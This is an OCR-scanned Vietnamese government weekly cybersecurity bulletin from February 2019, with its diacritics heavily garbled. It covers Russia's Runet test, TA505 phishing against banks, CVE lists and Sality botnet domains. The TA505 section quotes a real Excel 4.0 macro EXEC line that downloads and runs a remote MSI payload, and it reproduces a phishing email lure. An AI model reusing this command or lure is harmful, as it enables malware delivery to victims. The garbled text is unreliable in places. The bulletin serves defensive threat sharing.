BO THONG TIN VA TRUYEN THONG ~ CONG HOA XA HQI CHU NGHIA VIET NAM
CUC AN TOAN THONG TIN DPéc 1ap - Tw do - Hanh phic

S6:  /BC-CATTT Ha Noi, ngay 12 thang 02 nam 2019

TOM TAT ‘
Tinh hinh an toan thong tin dang chu y trong tuan 06/2019
(tir ngay 04/02/2019 den ngay 10/02/2019)

BANG TONG HQP
1. Chinh quyén Nga va cac doanh nghiép cung cip dich vu vién thong,
Internet 16n dang 1én ké hoach ngat két ndi quéc gia voi Internet. Pay 1 mot
phén cua thtr nghiém theo ké hoach bao dam su doc lap cua khong gian

mang Nga (Runet).

2. Trung qudc 1an dau tién 4p dung chimg nhan hé thdng quan 1y bao mat
thong tin ca nhan. Chimg nhan vé bao mat thong tin ca nhan dugc cap bai
Trung tam ching nhan va danh gia cong nghé an toan, an ninh mang Trung
Quéc (CCRC - China Cybersecrity Review Technology and Certification
Center).

3. Phat hién nhiéu email lira dao do nhom tan cong TA505 phat tdn nham
vao to chirc tai chinh. Nhitng email ltra ddo nay chira céac tap tin Excel co

nhung Macro. Cach tiép can nay 1am cho phan mém antivirus khé phat hién.

4. Bao cio duoc xdy dung dya trén cac ngudn thong tin thu thap duoc tir hé

théng phan tich va chia sé nguy co tidn cong mang Viét Nam
(https://ti.khonggianmang.vn). Thong tin chi tiét vé Hé thong tai Phu luc
kem theo.

1. Piém tin dang chi y

1.1. Chinh quyén Nga va cac doanh nghiép cung cap dich vu vién thong,
Internet 16n dang 1én ké hoach ngit két nbi qudc gia v6i Internet. Pay 1a mot
phan cua thir nghiém theo ké hoach bao dam su doc 1ap cua khong gian mang
Nga (Runet). Ly do thtr nghiém dugc dua ra 1a dé thu thap thong tin sdu hon,
cung cép phan hoi nhdm sira d6i, hoan thién mot du luat duoc dé xuét vao thang
12/2018.


https://ti.khonggianmang.vn/

Dy thao luat nay la du luat dau tién bat budc cac doanh nghi¢p cung céip
dich vu vién thong, Internet cia Nga phai ngat két ndi véi mang Internet nham
bao dam sy doc 14p Runet trong trudng hop c6 tin cong mang anh hudng t6i
quéc phong, an ninh. Ngoai ra, cic doanh nghiép ndy ciing s& phai cai dit
"phuong tién k¥ thuat" dé dinh tuyén lai tit ca luu luong truy cp Internet cia
Nga qua cac diém dugc phé duyét hoic quan 1y boi Roskomnazor, co quan giam
sat vién thong cua Nga. Thir nghiém du kién s& duoc thuc hién trudc ngay
01/4/2019.

1.2. Trung quéc lan dau tién ap dung ching nhan hé théng quan 1y bao
mat thong tin ca nhan. Chirng nhéan vé bao mat thong tin ca nhan dugc cép bdi
Trung tdm ching nhan va danh gia cong nghé an toan, an ninh mang Trung
Quéc (CCRC - China Cybersecrity Review Technology and Certification
Center). Banh gia nay ap dung cho cac doanh nghiép luu trit, xir 1y thong tin ca
nhan nhu Ali, Tencent, Baidu, Jingdong .v.v... va chi ¢6 hi€u luc trong vong 1
nam.

Ngay 03/02/2019, Alipay phat hanh mot thong bao cho biét, dich vu truc
tuyén nay di nhan duoc "Chung nhan hé thong quan 1y bao mat thong tin ca
nhan" do CCRC cap.
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1.3. TA505 sir dung Macro Excel 4.0 dé tan cong to chirc tai chinh

Trung tAm phan tich va canh bao 360 da phat hién nhiéu email lra dao do
nhom tin cong TAS505 phat tdn nham vao t6 chirc tai chinh. Nhitng email lira
dao nay chira cac tap tin Excel c6 nhung Macro. Cach tiép can nay lam cho phan
mém antivirus khé phat hién.

Dua trén viéc phan tich nhitng cudc tin cong trudc day co thé thdy nhom
TA505 dén tir cac qudc gia Pong Au khu vuc nuéec Nga hoat dong it nhét tir
nam 2014. Nhom TAS05 thuong xuyén phat tan lugng 16n thu rac c6 kém ma
doc hai dén cac cong ty, t6 chtrc tai chinh, c6 thé ké dén 1a ma doc Dridex va
Locky véi 2 mang botnet Dridex va Necurs. Co quan chirc ning d3 c¢d ging
ngdn chyun hoat dong cua nhoém nay, nhung chi dugc mot khoang thoi gian va
khong loai bé duogc.

TA505 da st dung Necurs Botnet dé phat tan mi doc FlawedAmmyy
Trojan (RAT) tir thang 3 nam 2018. Cudi nam 2018, Proofpoint cling da c6 bao
c40 phan tich chi tiét vé ma doc ServHelper do nhom TAS505 phat trién.

June 2014, first recorded Dridex malware
? associated with TA505

Dridex Botnet

? Autumn 2015, collaborated actions against

October 2015, Dridex Botnet Administrator
get arrested

Q2 2016, distribution of Locky malware

March 2017, reactivated after hibernation for
three months

March 2018, FlawedAmmyy Backdoor
discovered by Proofpoint

November 2018, new Backdoor named as
ServHelper discovered by Proofpoint

) December 2018, 360 found new attacks with

Excel 4.0 Macro and ServHelper Backdoor

Chién dich tan céng va phdt tan ma déc ciia TA505



Mau mi doc do Trung tAm phén tich va canh bao 360 thu thap dugc nhim
muc tiéu vao to chic tai chinh bao gdm Ngan hang Standard (Nam Phi ),
BancoEstad (Chile), Maharashtra (An P¢), Banca Fideuram (Y), Kotak
Mihindra (An D6) va ngan hang RMB (Nam Phi). M ddc nay phét tan bang thu
rac hodc tai khoan thu dién tir hop phap bi tAn cong. Theo diéu tra thi mot trong
sb nhitng may chu thu dugc dat tai Ukraine, Moldova va Nga.

Mot ludng tin cong vao ctia ngan hang Standard Bank duoc thyc hién nhur
Sau.

- Thu dién to Itra ddo dugc guri dén muc tiéu véi c6 dinh kém tai lidu
Excel doc hai. Thu dién tir ndy nguy trang véi thong diép hoan tat thanh toan
cac khoan tir nha cung cép dich vu mang cap quang. Email c6 vé lién quan dén
cong viéc thuong ngay cua cac nan nhan, lam cho nguoi dung tin tuéng va moé
tap tin ra;

2018/12/26 (B=) 20:26
R.V.KRISHNA PRASAD <gregibbs@hbci.com>

pending payments to be cleared TODAY, immediately

dri A N o <2 dardbank.co.za
O ChrmsrEsmEag,

BE  :Dec-18 pending payments.xls (180 KB)

As discussed with you yesterday, You must ensure that all the pending dealer payments shall be completed by end of today.

You must do & hourly follow-up with your teams and ensure that this is completed today, at any cost,

Confirm to me on the figure by end of the day.

Regards,

R.V.KRISHNA PRASAD

Teép dinh kem Excel duwoc gui dén email da dwoc nhung ma doc Macro Excel 4.0

Doi tugng tan cong an ma doc Macro Excel 4.0 dé€ tranh bi nan nhan nghi
ngo. Sau d6 Macro ddc hai s€ tdi ma dgc xudng tu dia chi

hxxp://office365advance.com/update.
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to Microsoft Office.
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Sau khi tadi ma doc, kich hoat va m¢é md notepad.exe dé nguy trang va
thuc hién nhi¢u hanh vi doc hai trén may tinh cua nguoi nan nhan.

1 =2ES =CHER. BEARE
42 - Fe || =HALT()
A
1 |=EXEC("msiexec.exe serf=19 skip=1 /i http://ofice365advance.com/update /g OnStart="c:windows\notepad.exe™)
2 [=HALT() |
3

Trong qua trinh phéan tich cac mau ma doc, nhiéu mau ma doc 1a goi cai
dat MSI c6 trinh cai dat Nullsoft bén trong st dung chimg thu s d bi thu hoi.
Ma ddc st dung HTTPS dé lién lac véi may chu C&C

. iigl 200499e21f9dcf77§c990400b8b3c2b5.exe

Certificate

| General ‘ Details | Certification Path |

Digital Signature Details

General | Advanced

Show: [<AII> v]
—_. Digital Signature Informatio
A certificate was explicitly revoke Field Value Jis
D\Jersinn ﬂ
| Signer information Serial number
Signature algorithm sha256RSA
MName: MASTER LIM LTD =] signature hash algorithm sha2s6
E-mail: IT Issuer COMODO RSA Code Signing C...
’ Mot avaiable B\Ja\id from Monday, December 24, 2018 ...
I Signing time: Not avaiable BVa\id to Sunday, October 20, 2019 7:5... il
| [l et MASTFR | TM1 TN MASTER 1 T
| 00 8= 3= %9a 2f =7 3c 91 98 Sb 4f 90 d5 9%
77 cd bo
Countersignatures
Mame of signer: E-mail address:

Learn more about certificate details

Edit Properties. .. Copy to File...




Nhom tan cong TAS05 da bi phat hién ra cach ddy mot nam, co rat nhiéu
hanh dong thuc hién dé chéng lai nhém nay nhung ching van hoat dong dén
nay, mic du s luong thu rac da giam dang ké. Nhom TAS505 chuyén myc tiéu
sang cac nudc dang phat trién dic biét 13 t6 chirc tai chinh trén khap thé gii.

Thong tin k¥ thuat tham khao tai:

https://ti.khonggianmang.vn/dashboard/news/p/ta505-su-dung-macro-tan-
cong-to-chuc-tai-chinh/

2. Tinh hinh tan cong gay nguy hai trén cac trang web tai Viét Nam

Qua theo ddi, trich xuét thong tin tir hé thong k¥ thuat thoi gian qua, Cuc
ATTT nhan thay trén khong gian mang dang ton tai nhiéu trang web Viét Nam
(bao gém ca nhing trang web str dung dich vu may chi nuéc ngoai) bi tan cong,
loi dung dé thuc hién cac hanh vi gy mat an toan théng tin nhu: phat tan thu
rac; tan cong tir chdi dich vuy; cai dat va phat tan cac loai ma doc (gan dy nhat la
cai dat va phat tan ma doc dé dao tién 40); luu trit cac ma khai thac diém yéu 15
hong mot cach ty dong (nhu 16 hdng trén trinh duyét hay cac thanh phan mo
rong cua trinh duyét ma nguoi dung su dung .v.v...).

Trong tuan, Cuc ATTT ghi nhan ¢4 it nhat 45 duong dan (URL) trén céac
trang web tai Viét Nam bi tan cong, loi dung dé thuc hién cac hanh vi gay méat
an toan thdng tin. Trong do, thong k&, phan loai cac duong dan nay theo loai
ting dung may cha web ( IIS, Apache ...) va nha cung cap cu thé nhu sau:

Thong ké s6 lugng URL bi tan cdng theo ing dung may chii web

6

Microsoft-11S

Apache



https://ti.khonggianmang.vn/dashboard/news/p/ta505-su-dung-macro-tan-cong-to-chuc-tai-chinh/
https://ti.khonggianmang.vn/dashboard/news/p/ta505-su-dung-macro-tan-cong-to-chuc-tai-chinh/

Théng ké sé lwong URL theo tén mién
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3. Tinh hinh tin c6ng lira dao (Phishing) trong tuin
3.1. Qua thu thap, theo déi, trich xuat tir hé théng ky thuat, Cuc ATTT
con ghi nhén co it nhat 39 trang web dat tai Viét Nam bi loi dung dé thuc hién
tan cong Phishing trong tuan.

Théng ké sb luong cac trang web phishing trong tuin

1
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® VNPT m ODS ® FPT m CMC ® DVS | Viettel m NhanHoa ™ GMO-Z = SUPERDATA ' T8 chirc khac

3.2. Trén thé gidi c6 nhidu cc trang web gia mao cac to chuc, doanh
nghi¢p, nha cung cép, dich vu 16n nhu: Cac mang xa hoi, ngan hang, thu di¢n

tor..v.v...



Top 10 nha cung cép, dich vu bi gia mao nhiéu nhat trong tuan
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Viét Nam c6 nhi€u nguoil dung cac dich vy, ing dung nudc ngoai (ca
mién phi va co phi) nhu cac mang xa hoi, Paypment, Apple, Paypal ..v.v... vi
vay nguoi dung can phai hét strc canh giac véi nhitng trang web gid mao dé an

trom tai khoan.

4. L$ hong/diém yéu an toan thong tin trong tuan
4.1. Trong tuan, cac td chirc qudc té da cong bd va cap nhat it nhat 131 15
hong, trong d6 co it nhat 06 15 hong cho phép chén va thyc thi ma 1énh, 02 15

hong d c6 ma khai thac.

4.2. Hé théng k¥ thuat cia Cuc An toan thong tin chii dong ra quét trén
khong gian mang Viét Nam, danh gia, thong ké cho thay c6 05 nhom 16 hong
trén cic san pham, dich vu CNTT pho bién, c6 thé gay anh huong 16n dén ngudi
dung ¢ Viét Nam, nhu: Nhom 04 15 hong trén mot sé san pham caa F5; Nhom
03 15 hdng trén Foxit Foxit Reader va PhantomPDF ..v.v.

4.3. Chi tiét vé thong tin mot s6 15 héng trén cac san phém/dich vu phé

bién tai Viét Nam cu thé nhu sau:

sTT | San pham/ |y o s quoc té M6 ta ngin Ghi chu
dich vu
L6 hong trong Apache
Apache | CVE-2018-17191 |Ngtbeans (Moi trudng phat Dacd
1 trién cac ng dung Java) cho| thong tin
Netbeans . % PN . n
phép doi tuong tan cong| xac nhan
chen va thuc thi ma Iénh. va ban va

8



C6 thé cap lén

Netbean10.0

nhat

F5

CVE-2018-15334
CVE-2018-15335
CVE-2018-17539

Nhém 04 156 hong trén mot
sb san pham cua F5 (BIG-IP
APM) cho phép ddi tuong
tan cong thuc hién cho phép
dbi tuwong tan cong khai thac
15i CSRF, tin cdng tir chdi
dich vy, nguoi dung Guest
c6 thé truy cap va xda tap tin
tly y bao gém ca nhitng tap
tin cau hinh.

ba co
thong tin
xac nhan
va ban va

Fasterxml
Jackson

CVE-2018-14718
CVE-2018-19360
CVE-2018-14720

Nhom 07 16 hong trén bo thu
vién Fasterxml Jackson cho
phép dbi tuwong tan cong
thuc hién ma lénh tuy y
théng qua mot sé thanh phan
(sIf4j-ext, blaze-ds-opt, -core
jars), khai thac 16i SSRF
(trong thanh phan axis2-
jaxws)

ba co
thong tin
Xac nhan

Foxit

CVE-2019-5007
CVE-2019-5006
CVE-2019-5005

Nhom 03 16 hong trén Foxit
Foxit Reader va
PhantomPDF (phién ban cho
hé diéu hanh Windows) cho
phép ddi tugng tan cong khai
thac 16i tran bo dém

ba co
thong tin
Xac nhan
va ban va

FreeBSD

CVE-2018-17161

L5 hong trong mot sé phién
ban cia hé diéu hanh
FreeBSD cho phép dbi
tuong tan cong khai thac 13i
tran bo dém dé chén va thuc
thi ma Iénh.

ba co
thong tin
xac nhan
va ban va

5. Hoat @dng mot s6 mang botnet, APT, mi doc tai Viét Nam
5.1. Mang botnet Sality

Mang botnet Sality con goi 1a hay KuKu, 13 tp hop cia nhiéu loai vi-rit,
trojan cung hoat dong. Loai mi doc ndy tin cong vao cac mdy tinh st dung hé
diéu hanh Windows, lan dau tién bi phat hién vao 04/6/2003. Thoi diém d6 ma
doc Sality dugce tim théy la mot ma doc lay nhiém vao hé théng qua cac doan ma
chén vao dau tap tin host dé gitip mé cira hau va liy trom thong tin ban phim.



Pén nim 2010 xuét hién bién thé Sality nguy hiém hon va trd thanh mot
trong nhitng dong ma doc phirc tap va nguy hiém nhat d6i v6i an toan cia hé
théng. May tinh bi nhiém ma ddc s& trd thanh mot diém trong mang ngang hang
dé tiép tuc phat tin ma doc sang cac may tinh khac. Mang botnet Sality chu yéu
dé phat tan thu rac, tao ra cic proxy, an cip thong tin ca nhan, 1dy nhidém vao céc
may chu web dé bién cac may cha nay thanh may chii diéu khién ctia mang
botnet dé tiép tuc mé rong mang botnet.

Theo théng ké vé mang botnet Sality ciia Cuc An toan thong tin trong
tuan c6 nhiéu IP tai Viét Nam van ndm trong mang botnet Sality.

Théng ké s6 luong IP nam trong mang botnet Sality
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5.2. Danh séch IP/tén mién may chu diéu khién ctia mang botnet Sality

TT Tén mién/IP

10e11005.bxxxI-cash.net
1¢994.bmakemegood24.com
6208fc.bcash-ddt.net
63669df.bxxxl-cash.net
7ae1553.bxxxl-cash.net
7d444e92.bxxxlI-cash.net
a4a668e.bxxxl-cash.net
bsbb.hkukud123ncs.info
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9 ccaah-ddt.net
10 10e11005.bxxxl-cash.net

5.3. Danh sach IP/tén mién doc hai co nhiéu két ndi tir Viét Nam

Tén mién/IP

_|
_|

disorderstatus.ru

differentia.ru

atomictrivia.ru

g4dgp6xv.ru

www.iugerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

xjpakmdcfuge.com
9Inbo2e3.ru
www.cityofangelsmagazine.com
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caarmelcollege.org

6. Khuyén nghi déi véi cac co quan, don vi

Nhim bao dam an toan thong tin trong hé thong mang ctia cic co quan, to
chtic, Cuc An toan thong tin khuyén nghi:

- Nham tranh viéc bi cac ddi tuong tAn cong loi dung cac trang web dé
thuc hién cac hanh vi gay mét an toan thong tin nhu da néu trong muc 2, Cac co
quan to chtrc can phai thuong xuyén kiém tra, ra Soat may chu web dé kip thoi
phat hién va cap nhat cac diém yéu, 16 hong trén cac mdy chu web thudc co
quan, t6 chtrc minh

- Ngudi ding can phai hét stic canh giac véi nhiing trang web gia mao dé
an trom tai khoan, dac biét 1a cac trang web gid mao cac ung dung, dich vu phé
bién nhu da néu trong muc 3.2 bao céo nay.

- Theo dd1 va cap nhat ban va cho céac 16 hé)ng, dic biét 13 16 héng néu tai
muc 4.3 bao cao nay.

- Chu dong kiém tra, ra soét, boc g0 ma ddc ra khoi hé théng mang. Cuc
An toan sin sang phdi hop vdi cac co quan t6 chirc tién hanh kiém tra va boc g&
ma doc botnet trén hé théng cua co quan don vi. Pé x4c minh cac may tinh bi
nhiém ma doc botnet, Quy don vi co thé lién hé véi Cuc An toan thong tin theo
thong tin bén dudi dé phdi hop thuc hién.

11



- Kiém tra va xir Iy cac thiét bi trong toan bo hé théng mang néu c6 diu
hiéu két ndi dén cac tén mién ddc hai Cuc An toan thong tin da chia sé, dac biét
1a cac tén mién da néu trong muc 5.2 va 5.3 bao cao nay.

Thong tin lién hé Cuc An toan thong tin, ting 8, s 115 Tran Duy Hung,
quan Cau Giay, TP. Ha Noi; sd dién thoai: 024.3943.6684; thu dién tir
ais@mic.gov.vn.

Tran trong./.

Noi nhgn: » KT. CUC TRUONG
- BO trudng va cac Thu trudng (de b/c); PHO CUC TRUONG
- Thu ky Lanh dao Bo; )

- Pon vi chuyén trach vé CNTT cac bd, nganh;

- SO TT&TT céc tinh, thanh phd truc thude TW;

- Cuc KSTTHC, Van phong Chinh phu;

- Vu Khoa gido - Van xa, Van phong Chinh phu;

- Trung tdm CNTT, Van phong Trung wong Pang;
- Trung tdm CNTT, Vin phong Quédc Hoi; (email)
- Trung tdm CNTT, Van phong Chu tich nudc;
- Céc Tap doan kinh té; Téng cong ty nha nudc;
Tb chirc tai chinh va Ngan hang;

- Co quan, don vi thugc Bo;

- Lanh dao Cuc;

- Luu: VT, NCSC.

Nguyén Huy Diing

12



PHU LUC

Hé thong phan tich va chia sé nguy co tin cong mang Viét Nam

https://ti.khonggianmang.vn

Phishing cases

HE THONG PHAN TiCH
VA CHIA SE NGUY CO
TAN CONG MANG VIET NAM

Vietham Threat Intelligence Portal

GIGI THIEU VE HE THONG

Hé théng phan tich va chia sé nguy co tdn cong mang Viét Nam la hé théng cho phép
thu thap, phan tich va chia sé théng tin truc tiép vé ddu hiéu, nguy co va cudc tan
cong mang dang xay ra trén hé théng ctia cac co quan, don vi. Muc tiéu clia hé théng
nham tang cuong viéc két noi chia sé thong tin gilra cac co quan, don vi, toé chuc.

PIEM NOI BAT CUA HE THONG

Khi truy cap vao hé théng, cac co quan, don vj sé dugc chia sé cac thong tin theo thai gian
thyrc vé: cac dau hiéu, hinh thirc tdn cong mang trén hé théng thong tin cia minh dugc

Cuc An toan théng tin téng hgp, phan tich va xtr ly tir nhiu t6 chirc trén thé gidi.

@ Capnhatlién tuc nguy co tan cdng mang:

khiér XC, IP, Hash @dc hai (APT, Botnet, Phish

au o Viet -]

@ Giam sat va canh bao sém tan cong mang: Giam

THONG TIN LIEN HE

Email: ais@mic.govvn | Website: Khonggianmang.vn
Phone: +84 24 3209 6789 | Fax: +84 24 3209 6789
Address: Tang 8 - 115 Tran Duy Hung - Cau Gidy - Ha NGi
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THONG TIN CAP NHAT

Hé théng lién tuc cap nhat va chia
sé cac thdng tin vé nguy co tan cdng
mang déi véi Viét Nam.

</

DU LIEU PA DANG

Dir liéu dugc téng hop tir cac té chirc
Qudc té, Viét Nam, tir cac sensor,
honeypot,...

<

CANH BAO TUC THi

Hé théng canh bao sdm cac tan cong
va canh béo cac két néi bat thudng
tir hé théng mang té chuc.



https://ti.khonggianmang.vn/
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CAC NOI DUNG CUA

DICH VU

HOAT PONG CUA CHUNG TOI

Al

Giam sat ATTT

Canh bao sém ATTT

HOo tro cac to chirc canh bao sém Thure hién cung cap dich vu giam

cac nguy co tan cong mang. sat ATTT tir xa va tong the.

ORGANIZATION

Danh cho T6 chuc

GOVERMENT

Danh cho cd quan Chinh phu

Panh gia ATTT

Ung dung, Ha tang, Kién truc...

Xt ly tdn céng mang

Cung cap dich vu danh gid ATTT tr  H6 trg xr ly tdn cédng mang cuc bo

va trén dién rong cho cac to chirc.

ENTERPRISE

Danh cho Doanh nghiép

e Danh sach may chu diéu khién
doc hai.

e Danh sach IP doc hai.

e Danh sach ma hash doc hai.

¢ Danh sach website |lra dao.

e Thong tin ATTT cap nhat.

e Bio cdo téng hop hang tuan.

o Day du théng tin cua tai khoan
Organization.

e Cap nhat diém yéu, 16 hdng nguy
hiém va phé bién dai vai Viét Nam.
e Giam sat tinh trang Up/Down
ctia hé théng.

o Giam sat va canh bao vé ma
doc/ backlink trén Website.

e Canh bao cac tan cong mang vao
hé théng cong khai ctia té chirc.

e Canh bao cac két ndi bat
thudng, dang ngd tir hé théng clia
té chirc.

e Canh bao turc thi qua Email.

e Hb tro ky thuat qua Email

LIEN HE DANG KY SU DUNG:

e Pay du théng tin cla tai khoan
Goverment.

e Danh sach domain ddc hai C&C
dugc str dung tan céng APT vao
Viét Nam.

e Danh sach IP, Hash st dung tan
cong c6 chu dich APT vao Viét
Nam.

e Cap nhat cac thong tin co lién
quan dén toé chirc, website gid mao
t6 chirc...néu co.

e Cap nhat cac tin tirc, phan tich
ky thuat méi nhat vé tan cong cé
cht dich APT.

¢ Danh gia cac diém yéu, 16 hong
bao mat dinh ky déi vdi cac hé
théng cong khai (IP va Domain)
clia to churc.

e Canh bao tirc thi qua SMS.

o Hb tro ky thuat qua Email.

o Hb tro ky thuat Hotline.

Email: ais@mic.gov.vn | Website: Khonggianmang.vn | Phone: +84 2
Address: 115 - Tran Duy Hung - Cau Giay - Ha Noi
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